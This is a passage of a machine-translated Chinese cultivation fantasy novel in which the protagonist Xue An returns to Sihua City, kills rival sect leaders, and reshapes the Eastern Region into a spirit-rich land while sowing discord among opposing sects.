    There are even dozens of real fairy ancestors.


    Under the coercion of this momentum.


    They could only watch the convoy slowly approaching with a dull expression.


    at last.


    The team flew close to Sihua City.


    On the incomparably tall boat leading, there was a person standing on the bow, looking down at everyone indifferently.


    See this figure.


    There was a commotion in Fu Xinyan and everyone in Sihua City.


    Especially Su Xiaomu, shouting in ecstasy: "Brother Xue An! You are finally back!"


    This sentence came out.


    The audience was silent.


    Yan Hentian, his sons and daughters, and the sect leaders who came to help out were all stupid.


    Is this man Xue An who once killed the Iron Bone Alliance and the Feng Family and shocked the Eastern Region?


    But didn''t he go to the Middle Territory, just because he offended the Middle Territory Tianzong and the Blood Net Mountain, he died?


    What is going on now?


    Yan Hentian and the others stared dumbfounded.


    Xue An just smiled when he heard the words, "Yes! I''m back, if I don''t come back, I guess some people really think I''m dead!"


    With that, Xue An''s eyes swept across the faces of Yan Hentian and others.


    boom.


    Yan Hentian and the others felt that their minds were shocked, and then they couldn''t help but step back a dozen steps.


    A look made these guys who had just flaunted their might to retreat, and the strength of the adults seemed to be even more unfathomable!


    This Fu Xinyan stared blankly, and suddenly this thought came to her mind.


    And at the moment.


    This Yan Hentian and others finally woke up, and then all these people began to tremble.


    Until this time.


    They were convinced that this person was indeed Xue An.


    And not only, it seems to be even stronger than the previous rumors!


    What''s more, the motorcade behind Xue An is filled with the breath of countless strong men.


    This made Yan Hentian and the others pale, shaking like chaff.


    "Xue...Master Xue! It is really gratifying that you have returned safely. This matter has nothing to do with me, it is all caused by this hateful sky. Please let us live!"


    At this time, there was a quick sect master who saw the opportunity trembling begging for mercy.


    Xue An turned his head and glanced at him, and said lightly: "Oh? It has nothing to do with you?"


    "Yes...Yes! It really has nothing to do with me, I just came to join in the fun!" The head teacher said very humblely.


    Xue An nodded, "It sounds like I should really let you go!"


    This master is overjoyed and is about to thank him.


    Xue An continued: "Unfortunately, I heard what you just said!"


    This head teacher will not have time to say anything in the future.


    Xue An''s eyes flashed, but he didn''t see any movement.


    The head of the head teacher burst open.


    The brain was mixed with blood, exploded like fireworks, and then the corpse fell and fell into mud.


    This head teacher was also a golden immortal expert anyway, but as a result, he didn''t even have the qualifications to let Xue An do it, so he died silently.


    The whole audience was shocked.


    Yan Hentian and the others shuddered, their teeth trembled.


    At this time, Xue An turned his head to look at Yan Hentian, and said lightly: "It seems you just said that even my bones have rotted?"


    Yan Hentian was shocked, and he felt that although Xue An was only questioning in a flat tone, he was like a mountain, and he couldn''t breathe.


    Stop talking like this, he even had difficulty breathing, and he could only look at Xue An with despair and horror.


    At this moment, I saw his son, Yan Qingyi, the young master of Yantian Sect, stepped forward and respectfully saluted Xue An.


    "My lord, you are truly majestic, and I admire Yan Tianzong very much. We did not do this right, please Haihan!"


    These words were neither humble nor overbearing, and the Yan Qingyi who leaned down had a glimmer of triumph in his eyes.


    I have already put my posture so low, I don''t believe that you really dare to act boldly in front of so many cultivators in the world.


    He was thinking about it.


    Xue An laughed, "Who are you?"


    "I am the Young Master of Yantian School, Yan Qingyi! And..."


    Yan Qingyi also wanted to add a few words of his glorious history.


    But at this moment, Xue An waved casually.


    A sword beam directly smashed Yan Qingyi''s body and spirit together.


    "I didn''t ask you, why do you talk so much nonsense?" Xue An said indifferently.


    This Yan Qingyi would never have thought that he had died of talking too much.


    From the appearance of Xue An to the present, it''s just three or five sentences.


    This group of people has died a sect leader, a young sect leader.


    This kind of power made Yan Hentian dare not even say his son was killed.


    He didn''t even dare to raise his head, but buried his head as much as possible, hoping Xue An could ignore him.


    However, Yan Qingxuan screamed, "Brother...!"


    Then she looked at Xue An with a bitter look.


    "You devil, you have the ability to kill me!"


    Although Yan Qingxuan said so, she was also quite worried.


    But now that there is no way to retreat, she can only fight dangerously, trying to survive from death by this method.


    After all, many big people don''t kill women!


    really.


    Seeing Xue An smiled faintly, "Don''t be silly, I won''t kill women!"


    Yan Qingxuan secretly let out a sigh of relief when she heard this, and felt that she was betting right.


    But at this moment, Xue An stretched out a little bored, and said in a lazy tone: "Displaced!"


    "in!"


    "These people are left to you!"


    "Yes!"


    Xue Liuli led his orders, striding out with a sword, and standing in front of these people.


    When Yan Hentian saw that she was a woman in white, she felt a little relieved, as long as she didn''t face the terrifying Xue An.


    And it seems that this woman should be a maid of Xue An, and it is estimated that she will not have a high level of cultivation.


    In this case, he still has the possibility of surviving but immediately after that, a word from Xueliu plunged him into the bottomless abyss.


    "Zhanhong, Xuelili! Please enlighten me!"


    This sentence came out.


    Whether it was Yan Hentian or his daughter Yan Qingxuan, they all showed horror.


    "You are asking the Tianzong Zhenzhuan Xueli who is sixth on the list! How is it possible, how can you be a servant girl of Xue An with your existence?" Yan Hentian couldn''t believe his eyes.


    But Xue Liuli just said indifferently: "It''s an honor for me to be an adult''s handmaid!"


    Talk about it.


    She stepped forward and cut out with a sword.


    Jianguang reach.


    Whether it was Yan Hate Heavenly Father and Daughter, or those sect leaders, they couldn''t even resist, they were swallowed by sword light and turned into powder.

 Chapter 849： 1 word suppression 1 domain

    In the blink of an eye.


    The Yan Tianzong and the people of several major sects, who had just been flaunting their might and arrogance, were all beheaded by Xueliu.


    All the people up and down in Sihua City stared blankly.


    At this time, Xue An smiled at Fu Xinyan, "I''m back!"


    Heard this sentence.


    Fu Xinyan burst into tears, then bends down deeply, choked up and said: "Sihua City, welcome the return of the lord!"


    Following her move, all the people in Sihua City also bent over to salute.


    "Sihua City, welcome the return of the adults!"


    Its sound shook the sky and its momentum was shocking.


    And this scene was seen in the eyes of these middle-range cultivators who followed Xue An across the territory.


    Although the cultivation base of Sihua City is not very high.


    But this kind of concerted effort caused these practitioners to be slightly moved.


    As for the new beginner disciples in Sihua City who had just complained and were full of unwillingness, they were all trembling and shaking.


    The words they just said, the thoughts of gloating in their hearts, all turned into a loud slap at the moment, and they slapped their own faces.


    quickly.


    All Xue An entered the discussion hall of Sihua City.


    Xue An is naturally at the top.


    Fu Xinyan and the people from Sihua City accompany each other.


    And those middle-field repairers who followed were seated.


    Until then.


    Fu Xinyan finally saw the true face of these people.


    This also made it more and more terrifying.


    Because those ancestors with white hair are almost all true immortals.


    Such a person, whoever comes to the Eastern Region, is a peerless powerhouse who can shake the Eastern Region.


    But now, these people are all trembling, only Xue Anma is looking forward.


    This kind of power naturally shocked everyone in Sihua City.


    This adult himself has grown to such a terrible level in just six months after he left the Eastern Region.


    At this time, Xue An said calmly: "Xinyan!"


    Fu Xinyan hurriedly stepped forward and said respectfully: "My lord!"


    "Send my order to let all the powerful sects of the Eastern Region rush to Sihua City within three days. Those who fail to expire will be cut off!"


    Although Xue An''s tone was indifferent, it revealed a chilling murderous aura.


    Everyone in the hall was silent.


    Some people looked at each other with doubts.


    What is Xue An planning to do?


    Could it be that he was going to wipe out the aristocratic family sect in the Eastern Region?


    Fu Xinyan was also stunned, but still respectfully said: "Yes!"


    Said to pass the news.


    "Wait!"


    Xue An suddenly stopped her again.


    "My lord, what else is there?"


    "Just pass the order on, I''m afraid there will be people who refuse to accept it! I give you the word, and follow the order!"


    After all, Xue Anxin nodded and wrote a big Xue character out of thin air.


    As soon as this word came out, all the cultivators in the hall felt that their hairs were erect.


    Especially the stronger the more advanced the cultivation, the more they feel that this word suppresses them.


    Then the character turned into a talisman seal, which was directly engraved in the palm of Fu Xinyan''s hand.


    "Go!" Xue An said lightly.


    Fu Xinyan felt awe-inspiring, and said, "Yes!"


    quickly.


    Fu Xinyan sent the Sihua City Master Order, turned it into countless streamers, and distributed it to countless family sects in the Eastern Region.


    In an instant.


    The entire Eastern Region was shocked.


    "What? Yan Hentian, Yan Tianzong''s suzerain, and more than a dozen sect leaders were all killed?" After hearing this letter, the strong sect of the Eastern Region couldn''t help but lose his color.


    "Yes, that Xue An who suppressed the Eastern Territory back then has returned from the Central Territory, with countless strong talents in the Central Territory, and even made the peerless masters on the Wenzhen list willing to be his maid!"


    This kind of news made everyone gossip.


    After seeing the warrant handed down by Sihua City, the complexions of these sects all became extremely ugly.


    Because the wording of this warrant is extremely simple, only fifteen characters, but it is full of murderous aura.


    See you in Sihua City after three days.


    The signature of this warrant is the character Xue with a silver hook and iron painting.


    After receiving this order, many sect leaders were trembling with anger, but they didn''t dare to say anything, so they could only hold back their breath.


    But there are still many strong sects, and people in the ancient family are dismissive of this, and even full of dissatisfaction.


    There is a Golden Crow Gang in the northwest of the Eastern Region.


    The leader of the Golden Crow Gang is a powerhouse at the pinnacle of the Golden Crow, who can refining everything with one hand, and his strength is extremely powerful.


    Under his governance, the Golden Crow Gang was also flourishing.


    Soon he commanded a huge territory with a radius of thousands of miles.


    This day.


    He also received a warrant from Sihua City.


    But waiting for him to look at it, an angry look appeared on his face.


    "Hehe, a bunch of young ladies, they are not small! They dare to talk to my Golden Crow Gang with such an instructive attitude!"


    The elders of the Golden Crow Gang were also full of anger when they heard it nearby. Some of them sneered.


    "Isn''t this Sihua City relying on Xue An''s strength? I don''t believe how powerful a boy with no hair can be!"


    "Yes! Our Golden Crow Gang will not go, see what this Sihua City can do to me!"


    In the noise of these drums, the golden crow gang leader''s eyes flashed, and the golden crow flames rose in his hand, wanting to burn the warrant.


    But the Golden Crow Flame just touched this warrant.


    A powerful and unparalleled terrorist power suddenly appeared in the warrant.


    As far as possible, everyone in the Golden Crow Gang shuddered.


    At this moment, from the warrant, a big Xue character slowly rose up and floated above the Golden Crow Gang.


    "what is this?"


    The leader of the Golden Crow Gang just exclaimed.


    The word Xue suddenly pressed down.


    A wave of supreme prestige fell from the sky.


    boom!


    In the Golden Crow Gang, no matter it was the elders or the ordinary gangs, all before they even had time to make a scream, they turned into flesh under the suppression of this word.


    Only the leader of the Golden Crow Gang, in horror, stirred up the flames of the Golden Crow all over his body and wanted to resist.


    But the Golden Crow Flame, on which he was famous, couldn''t even hold a breath, and was suppressed.


    The leader of the Golden Crow Gang screamed, and then even the spirits and souls took their bodies, and they were all crushed into fans.


    Then the mountain where the Golden Crow Gang was located groaned overwhelmedly, then collapsed and was directly razed to the ground by the word.


    The Golden Crow Gang, which has been around for thousands of years, is removed from its name at www.novelhall.com.


    at the same time.


    A similar scene is being staged in many places in the Eastern Region.


    But whether it is an ancient noble family that has been passed down for thousands of years, or Jinxian Pinnacle is a strong sect with half-step true immortal powerhouses.


    Anyone who dared to resist or disrespect the warrant was suppressed and turned into nothing.


    This happened.


    All the sects of the aristocratic family in the Eastern Region were terrified, and finally understood Xue An''s current power and cultivation level.


    Under such circumstances, no one dared to show any disrespect to Xue An and Sihua City.


    Those ancient families and big sects who were once full of arrogance are full of deep fear of Xue An.


    Suppress a domain with one word.


    The so-called invincible is nothing more than that.

 Chapter 850： I want to turn the Eastern Region into Middle Earth

    Three days are fleeting.


    To this day.


    The grand event in Sihua City is unprecedented.


    All the ancestors of the Eastern Region gathered here, and none of them dared to overdue.


    The prestige of Xue An is enough to convince this Eastern Region powerhouse.


    now.


    All the strong sects gathered in the square of Sihua City.


    Then began to talk.


    "You said Xue An called us all together, why?"


    "I don''t know, but I don''t think it will be a good thing! This Xue An is domineering, can we still have our good fruits?" This person said with a sad face.


    "Should it be to gather us, and then kill us all at once!" Another person said suddenly.


    This sentence came out.


    The hearts of the people around are sinking.


    "Yes...probably not! Does this Xue An really dare to be cruel in front of so many people in the world?" Someone said with a look of horror.


    "Who dare to say! I don''t think it will be enough to kill all of them, but those who have had a feast with Sihua City before, I guess none of them can escape! As for he dare to attack in front of so many people..., ha ha, Have you forgotten the word on the warrant?"


    I heard this man talk about the warrant.


    Everyone''s faces became a little ugly.


    In particular, many powerful people with extraordinary destiny, at this moment, all feel that it is not a good feeling in their hearts.


    I thought I was strong, and anyone''s face could not be sold.


    But who would have thought that under the coercion of Xue An, he had to come over obediently.


    This gap in strength made them all feel desperate.


    At the same time, there are many people who are quietly watching the Middle Domain Cultivator in the distance.


    "My God, are these the middle-field powerhouses who followed Xue An? There are still true ancestors!"


    "More than that, didn''t you see the two stunning women standing in the front?"


    "Nonsense, I am not blind, of course I have seen such a beauty!"


    "Hehe, the one with the sword hanging on the waist is the sixth-ranked woman who was once in the truth list, and the girl who is similar to the demon is the goddess of Bliss Fang. These are all true disciples of the Tianzong school. , An extremely distinguished existence. But such a person is willing to be a maidservant for Xue An! It can be seen what status Xue An is now!"


    These words made everyone look upset.


    At this moment.


    Xue An''s figure suddenly appeared above the square, overlooking all the people below.


    The chaotic square instantly quieted down.


    Everyone raised their heads and looked up at the figure above the sky, with deep awe in their eyes.


    At this time, Xue An said coldly: "I summon all of your cultivators to come, just for one thing!"


    The audience held their breath and listened quietly.


    I saw Xue An casually pointed to this huge Sihua City, and said lightly: "I want to turn the Eastern Region into Middle Earth, and this city is the center of unity!"


    These words left the audience completely silent.


    It wasn''t until a moment later that there was an uproar.


    "You actually want to transform this place into the Middle Territory? My God, the days when we Eastern Territory cultivators will be in their early days are here!"


    "Yes, I thought he wanted to deal with us! I didn''t expect to come to help us. I really blamed him before!"


    This is the excitement of the Eastern Region cultivators.


    "This is absolutely impossible, because all the sects we are waiting for are based in the Middle Territory. According to what he said, all our major sects in the Middle Territory will have suffered heavy losses!"


    "Yes, this is absolutely impossible! The major sects of our Central Territory must unite and show our tough side to this Xue An!"


    "Yes! I agree!"


    This is the ancestors of the major sects in the Central Region whispering.


    In the midst of this violent commotion, Xue An looked around the audience and said lightly: "You...who approve and who oppose?"


    It''s as if someone has pressed the stop button.


    The chaotic square suddenly quieted down.


    Then all the cultivators in the Eastern Region raised their hands together and shouted: "I agree!"


    "Master Xue, I will support you unconditionally!"


    "Yes, we will sell this life to you from today! Absolutely support!"


    But the cultivators in the middle domain all turned extremely ugly, and then looked at each other.


    The group of people who were just discussing in full swing, who wanted to show their tough attitude to Xue An, were all dumb at this moment, and they didn''t even dare to lift their heads.


    After all, everyone knows that if you get ahead at this time, you may have to pay the price of your life!


    at this time.


    I saw an elderly man Huo Ran standing out among the group of repairers in the Middle Territory, holding a fist at Xue An in the air.


    "Master Xue, I am He Wenbin, the master of Wansheng Hall in Zhongyu. I feel a bit wrong about what you just said! Because my Wansheng Hall has been passed down in that Zhongyu for thousands of years. The foundation is there. Let us move here with a word of yours. Please forgive me that Wanshengtang really does not dare to agree!"


    Many people who said these words shined brightly.


    Everything is like this, if someone takes the lead, then this matter is easy to handle.


    Immediately afterwards, several family ancestors stood up and expressed their disagreement.


    "Yes! What Patriarch He said is exactly what we want to say! Our ancient Buddhist temple will not move!"


    "And our Broken Sword Villa!"


    These voices one after another.


    Soon, a large group of people gathered behind He Wenbin.


    Xue listened quietly, without saying a word.


    He didn''t raise his eyes to look at this group of people until these people had finished speaking.


    The atmosphere suddenly became serious.


    Including He Wenbin, cold sweat oozes from the hands of the ancestors who expressed opposition.


    Because no one knows what Xue An will do. What if he really dares to risk the world and make a bold move?


    Just when the ancestors of this group were anxious.


    Xue An laughed, and then nodded gently, "Since you don''t want to, then forget it! You sects don''t need to move!"


    This sentence came out.


    Many people thought they had heard it wrong.


    what?


    Is it that simple?


    Could it be said that Xue An is trying to catch up deliberately joking?


    Look at Xue An''s serious look, it doesn''t seem to be a joke!


    At this time, many patriarchs of Zhongyu felt regretful in their hearts. Why didn''t they rush forward to express their opposition?


    But these ancestors headed by He Wenbin were all overjoyed.


    Especially this He Wenbin.


    At the moment he was full of pride.


    Even if your Xue An is amazing, don''t you still have to bow your head?


    It can be seen that this move is right.


    Thinking of this, He Wenbin suppressed the ecstasy in his heart and bowed his hand casually at Xue An.


    "Thank you for being so considerate of me for waiting!"


    The ancestors behind him also followed to salute, all with triumphant smiles on their faces.

 Chapter 851： Transform the world

    The situation suddenly became a little weird.


    Xue Liuli, Mu Ya and the others looked at each other, their eyes all shining with murderous aura.


    As long as Xue An gave an order, they would not hesitate to rush forward to punish these sects who dared to challenge Xue An''s authority in public.


    But under this circumstance, Xue An just stood with his hand in the air, looking at these ancestors who were anxious to thank, a faint smile appeared on the corner of his mouth.


    "but����."


    When these two words came out, He Wenbin and others were all shocked.


    Xue An smiled upon seeing this, "Don''t be so scared, as if I can eat people!"


    After listening to many practitioners, they thought to themselves.


    You don''t eat people, but you are more frightening than cannibal demons.


    Then Xue An said indifferently: "This matter was originally a matter of your liking, and I will naturally not force anyone."


    "I''m just asking, can you consider this matter?"


    He Wenbin was startled slightly, and then said in a deep voice: "My lord, how can we dare to play with such a major event? Naturally, we have to consider it!"


    Xue An nodded, "Well, in that case, don''t blame me for not reminding you! After all, I gave you two opportunities!"


    Everyone in He Wenbin, as well as all the cultivators in the audience, were confused.


    I don''t understand what Xue An means.


    At this time, Xue An looked up at the distant sky and said lightly: "The time is almost here! It''s now!"


    Hearing what Xue An said, all the practitioners stepped back, thinking that Xue An would do something earth-shattering.


    But after waiting for a while, I found that there was no vision in the world.


    The breeze was still blowing, and the colorful jade continued to drift away, nothing changed.


    "that''s it?"


    Many practitioners looked at each other, all a little confused.


    Some people even sneered in their hearts.


    I think Xue An is just playing mystery.


    But at this moment, the whole Sihua City shook suddenly, and then eight radiant brilliance rose from the eight corners, and gathered in front of Xue An.


    The eight rays of brilliance converge, forming a light cluster that resembles a grinding disc.


    Then I saw Fu Xinyan, Su Xiaomu and others rising into the sky, and said in a deep voice: "My lord, the arrangement has been completed according to your instructions!"


    Xue An smiled faintly, "Very well! Next..."


    Xue An suddenly remembered a certain magician who loves to play mystery, can''t help but chuckle: "It''s the moment to witness the miracle!"


    It''s a pity that everyone present didn''t understand the meaning of this sentence, just stared at Xue An blankly.


    Seeing Xue An spread out the palm of his hand, an octagonal cubic crystal suddenly floated in the air.


    All eight sides of this cubic crystal were shining with a dizzying halo, and at the same time, in this crystal, there seemed to be an extremely viscous pale golden liquid flowing slowly.


    Everyone looked silly.


    I thought this crystal looked like a living thing.


    Even the twinkling brilliance seemed to be breathing.


    Xue An couldn''t help but sigh in his heart as he looked at the cubic crystal in his hand.


    Because this thing is the original power of the stars stolen from the wasteland by the Blood Skeleton Pirate Guild.


    It is also because of its lack that the wasteland world will become a piece of Jedi.


    But this thing is the supreme treasure for many sects.


    Because as long as you have it, you can create a blessed land out of thin air.


    For example, the Yuanyu Plateau where the Blood Web Mountain is located depends on this thing to maintain its operation.


    In the end, Xue An deliberately found it when he destroyed the Bloodnet Mountain.


    Now it comes in handy.


    Xue An thought to himself, and then gently placed the octagonal cubic crystal in the light cluster.


    As soon as the crystal touches this light ball, it melts instantly like water and milk.


    People stared blankly.


    Don''t understand what this is doing?


    At the time of doubt.


    Everyone felt that the ground beneath their feet suddenly began to tremble slightly.


    And the aura between the acquired world and the earth began to vibrate violently.


    Immediately afterwards, someone screamed in shock.


    "Look at it!"


    Everyone turned to look around.


    Just behind Sihua City, on the originally flat ground, a hill was rapidly rising and forming.


    The speed is fast, but in the blink of an eye, it is already a thousand feet high, and it follows the uplift of this mountain.


    The world of thousands of kilometers near Sihua City has begun to undergo drastic changes.


    The aura of heaven and earth began to skyrocket at a speed visible to the naked eye.


    Such a big change in the world has made everyone look stupid.


    Even Fu Xinyan and others in Sihua City were a little confused.


    Because Xue An didn''t say what to do when he ordered them to seal the formation.


    They didn''t ask either.


    But I didn''t expect it to be such a huge change.


    in a blink.


    The originally mediocre Sihua City transformed into a top-notch blessed land.


    Its aura is abundant, even several times stronger than the Yuanyu Plateau of the Blood Net Mountain.


    Everyone was a little dumbfounded.


    In particular, the sect masters who have expressed opposition, headed by He Wenbin, the master of Wansheng Hall, are all shocked at this moment.


    However, He Wenbin changed his mind to think, although this city of thinking has become a perfect cave.


    But he and others can''t get the light.


    If you move to the Eastern Regions, it is very likely that you will be thrown into a remote place in a poor country and linger.


    Thinking of this, He Wenbin''s heart gradually calmed down.


    And the old **** was watching, there was even a noncommittal smile at the corner of his mouth.


    But the smile quickly solidified on his face.


    Because all this is just the beginning.


    Xue An suddenly stomped, the void vibrated, the brilliance flickered, and then a dozen light clusters appeared in front of him.


    Then Xue Anxin waved his hand, and a dozen cubic crystals that were half smaller than the one just now appeared in the air.


    These star origin spars were all discovered by Xue An from the warehouse in Blood Net Mountain.


    Obviously those interstellar pirates stole it from other stars.


    And once the origins of these stars are stolen and taken out, they can no longer be returned.


    So Xue An simply used it as a transformationGo! "


    Xue An gave a soft drink.


    These dozen or so crystals were all integrated into the dozen or so light clusters.


    Then the entire eastern continent began to undergo earth-shaking changes.


    The mountain peaks became high, the river became wide, and even an ordinary grass on the side of the road began to shine with a hint of light.


    quickly.


    The entire Eastern Region has transformed from an unremarkable continent into a blessed place with incomparably rich aura.


    Abundant aura, even more than ten times stronger than Zhongyu.


    That is to say, in any place, it is more aura than those places where winds and qi gather in the middle area.


    And Xue An stood in the air at this time, and said lightly: "Now this is a world of heaven, you wait, what else do you want to say?"

 Chapter 852： Tongtian means

    Countless monks watched this scene dumbfounded.


    Then the cultivators of the Eastern Region all exclaimed with excitement.


    "This is simply a miracle!"


    "Change the world, this is the real immortal means!"


    "Master Xue really has the ability to reach the sky! I take it!"


    It is different from the excitement and ecstasy of these Eastern region cultivators.


    The minds of the practitioners from the Central Territory are polarized at this moment.


    In particular, He Wenbin, the host of Wansheng Hall who took the lead in opposition, looked at all this in disbelief, and then muttered to himself with a pale face, "This... how is this possible?"


    The voice just fell.


    The group of patriarchs behind him who were following the opposition was shocked, awakening like a dream.


    "What''s the last name! Blame you! If it weren''t for you to confuse us with all kinds of rhetoric, how could we be against the grown-ups?" A fat-eared ancestor jumped out to make trouble.


    "Yes! He Wenbin, you dare to oppose an adult wishfully, how vicious your heart is. Fortunately, the adults are aware of your shame and see through your despicable behavior in time, so we didn''t go astray!" Another middle-aged woman with a face full of flesh People also followed He Wenbin.


    Suddenly, this group of patriarchs who had just been thinking about fighting Xue An had already started fighting.


    Seeing this group of guys who were already in a quarrel, the rest of the middle sects were all grateful that they had not had time to express their opposition.


    Otherwise, don''t you have nowhere to cry now?


    And these people who had just objected, at this moment, one by one saliva fluttered, pointing at He Wenbin''s nose and cursing.


    At the same time, these people still did not forget to flatter Xue An in every possible way.


    He Wenbin couldn''t argue, he could only watch this scene blankly.


    Obviously, during the previous discussions, these people patted their chests and promised to follow him in opposition to the end.


    Unexpectedly, at this time, these guys collectively turned against the water, and they became the target of public criticism.


    more importantly.


    The current situation in the Eastern Region made He Wenbin, who had just looked smug and felt that he had made Xue An bow his head, filled with despair.


    Such a concentration of spiritual energy, such a heaven and blessing.


    Just any corner of the corner is much stronger than the Wansheng Hall he was in.


    But such a good opportunity was completely ruined because of his stupidity.


    It is conceivable that when those sects who were originally equal to themselves settle here, their strength will definitely advance by leaps and bounds, and by then, this Wansheng Hall may be completely destroyed.


    This makes He Wenbin''s intestines almost regretful.


    If there is any regret medicine in the world, he really wants to taste it first.


    At this moment, these sect masters all knelt to the ground and cried.


    "My lord! We are all willing to move here, but we were deceived by this He Wenbin before. Please show your mercy and let us enter this middle-earth too!"


    "Yes, my lord, these are all He Wenbin''s faults! Please give us a chance!"


    These cries and pleadings.


    Xue stood quietly in the air, overlooking the group of people performing there.


    "I remember I asked you if you think it over, and I gave you two opportunities, but you didn''t cherish it, so who can you blame?"


    Xue An''s indifferent words made these people fall into an ice cellar.


    "But my lord..."


    These people still want to defend.


    Xue An waved his hand, "Needless to say! If you really want to enter this world, there is no way out!"


    When this group heard it, their eyes all lit up.


    "My lord, what is the solution?"


    "It''s very simple, find a school that is willing to accept you, and then break up your own schools and merge them into one!"


    Xue An spoke out.


    There was an uproar in the audience.


    Those people from the Central Territory Sect and the Eastern Territory mainland all shined.


    And these patriarchs who took the lead in opposition are all pale.


    Because if you follow what Xue An said, it would be equivalent to splitting their school.


    And if you merge with other sects, don''t you want to be sent to others?


    This naturally made it difficult for these patriarchs to accept.


    So they all wanted to intercede again.


    But Xue An''s next sentence ruthlessly shattered their fantasy.


    "If you still don''t want to, it''s very simple. Now you will kill yourself on the spot, and naturally someone from your sect will take over! Two ways, choose by yourself!"


    Hearing these words from Xue An, these sect masters knew that the situation could not be violated, and immediately shouted: "I am willing to choose the first one!"


    After all, I turned around and went to my friends to discuss the merger.


    Above the empty ground, only He Wenbin stood there alone.


    Xue An glanced at him and said lightly: "You wanted to disagree with me in this way from the beginning, so as to expand the influence of you and your sect!"


    He Wenbin trembled all over, knowing that it was useless to say anything, and he simply nodded hard, "Yes!"


    "Actually, I don��t care whether to move or not. Even if none of the sects of the Middle Territory come, with the current Eastern Territory, within a hundred years, it will be able to completely crush you! So I let you come, just thinking Give you a chance! Unfortunately, you want to target me through my kindness!"


    Xue An''s tone was calm.


    But hearing He Wenbin''s ears made him shudder, almost unable to speak.


    "I actually hate people playing clever things in front of me, but I let you go this time! Let''s go!"


    He Wenbin was relieved.


    Ok.


    I''m still alive!


    He Wenbin is now afraid of Xue An as a tiger, so he didn''t hesitate to give a salute to Xue An, then turned around and walked away.


    Seeing his leaving figure, Xue An smiled faintly, then turned and left the square.


    But his smile just now was seen in the eyes of many caring people.


    A smart person thought about it for a while, and then he understood the key points. They couldn''t help but feel awe-inspiring, and their awe of Xue An became more and more profound.


    But there are also things that I haven''t seen.


    For example, this Su Xiaomu she muttered a little dissatisfied.


    "Brother Xue An is a bit too kind! These brazen guys shouldn''t let them in! And that He Wenbin, I just inquired about, this guy is doing evil in Zhongyu, he is an old and cunning villain! Let it go?"


    Hearing Su Xiaomu''s words, Fu Xinyan''s expression on the side sank and yelled, "Bold!"


    Su Xiaomu was startled, "Senior Sister, you..."


    Fu Xinyan''s face sank like water, "Is it something that you can arrogantly discuss about adults?"


    Su Xiaomu trembled when he heard the words and hurriedly lowered his head.


    "Sorry sister, I was wrong! But I really didn''t want to understand it!"


    Fu Xinyan said indifferently: "You are still too young. You can only see the surface of many things, but you have never considered why this is the case."


    "You said you don''t understand why the adults let these brazen sects enter the Eastern Region, then you can see what the situation is in the field now!"

 Chapter 853： Stroke between the eyebrows

    Su Xiaomu heard the words and looked at it.


    Seeing that the cultivators in the Central Region were arguing with red faces, and everyone was very excited, the situation that had just been connected to each other was gone.


    "this is����."


    "See it! This is the brilliance of the adult''s hand!" Fu Xinyan said lightly.


    "If these sects want to enter the Eastern Region, they have to be dismantled and merged with other sects, but is this so simple to speak?"


    "You must know that the prosperity of the world is for profit, and the hustle and bustle of the world is for profit. Once the vital interests are involved, the master, apprentice, father and son will turn against each other, let alone these sects?"


    "They will start to calculate each other frantically because of this. Sect masters who join other sects will not be reconciled, and they want to control their own strength, and those who accept sects will not spit out the fat in their mouths. Under this kind of competition, these middle-domain sect goalkeepers have completely become a mass of scattered sand, and will never form an interest alliance again! And this is what the adults want to see!"


    Hearing Fu Xinyan''s explanation.


    Su Xiaomu finally understood why Xue An did this, but she was still a little confused.


    "What about He Wenbin? Brother Xue An''s character shouldn''t let this guy go!"


    Fu Xinyan chuckled and shook her head, "Do you think that He Wenbin will survive?"


    Su Xiaomu was taken aback.


    Fu Xinyan looked at the newly uplifted mountain in the distance, and said lightly: "My lord said just now that if you want to enter the Eastern Region, these sect masters can squat by themselves. In this way, their sect can come in! But these people are obviously very good. It''s a shame, so of course I won''t do it!"


    "But He Wenbin is different. He is the one who ruined the future of Wansheng Hall. After he returns, how will the disciples who learned the news look at him?"


    "Sister, you mean..."


    Fu Xinyan nodded, "I guess he won''t even be able to see the sun the next day after he returns. Those red-eyed disciples will kill him without hesitation, and then use his head to apologize!"


    Su Xiaomu had goose bumps all over his body.


    Because she finally understood the reasons for Xue An''s actions, but it was precisely because of this that she became more and more in awe of Xue An.


    "Brother Xue An not only has a great cultivation base, but also has such a meticulous and powerful mind, what kind of person is he!" Su Xiaomu whispered.


    Fu Xinyan looked into the distance and sighed slightly, "This...should be an adult''s technique of checks and balances."


    And just when there was a lot of trouble outside because the Eastern Regions turned into Middle-Earth.


    Xue An has returned to the back home of Sihua City.


    An Yan is here waiting for him to return.


    After seeing Xue An, An Yan smiled.


    "Is it done?"


    Xue An nodded and smiled, "Your husband and I will go out, what''s the matter? Even you and I have taken it, let alone a small Eastern Region!"


    "Bah! You''ll be silly!" An Yan took a sip, then said softly.


    "Husband, are we really going to the Blood God Realm?"


    Xue An nodded, "Yan''er, this Blood God Realm is definitely going to go, one is for your seal, the second..."


    When Xue An said this, a touch of coldness appeared in his eyes.


    "Naturally, it is to trace the catastrophe of the Chinese people ten thousand years ago, which family and clan did it!"


    In fact, Xue An had retrieved what he wanted from his remaining divine thoughts when killing the Blood God Duankong.


    As a result, Xue An discovered that in the divine consciousness picture of Duan Kong, the starry sky clans who slaughtered the Chinese were all blurred and could not tell who did it.


    Xue An had encountered this situation before.


    But the more so.


    The more it proves the cunning and cruelty of those behind the scenes.


    And Xue An''s killing intent became more fierce.


    No matter who you are and how powerful and powerful you are, I will make you pay for it.


    Xue An thought in his heart.


    After listening to An Yan, she stretched out her hand distressedly and stroked Xue An''s eyebrows, "Husband, I know you want to avenge our Chinese ancestors, but I don''t want you to be blinded by hatred! Because you are just as powerful as you are. , The burden on your shoulders cannot be unrestricted!"


    Xue An felt warm after hearing it, and then took An Yan into his arms.


    "I know! Since I''m born again, I will naturally have to live a good life so that I can live up to you and the two little girls."


    "Yeah!" An Yan answered softly in Xue An''s arms.


    suddenly.


    As if thinking of something, she raised her head and said: "It''s broken, I haven''t seen these two little girls for several days, and I don''t know if they have turned the sky in the Fubao Xiaolou!"


    Speaking of this, An Yan hurriedly released Fu Bao Xiaolou and stepped into it.


    After a while, I heard An Yan''s voice from inside.


    "My God, are you fighting here?"


    "Where did all those ice cream go!"


    "What? I don''t know? What''s the matter with the cream on the corner of your mouth?"


    "Xue An, come and see what your two daughters are doing!"


    Xue An smiled helplessly after listening, and had to step into this Fubao Xiaolou.


    Seeing here, the two little girls stood side by side, heads down to be trained.


    When An Yan saw Xue An coming in, she pointed angrily at the messy room and said, "Did you see it? Your two dear daughters almost demolished this place!"


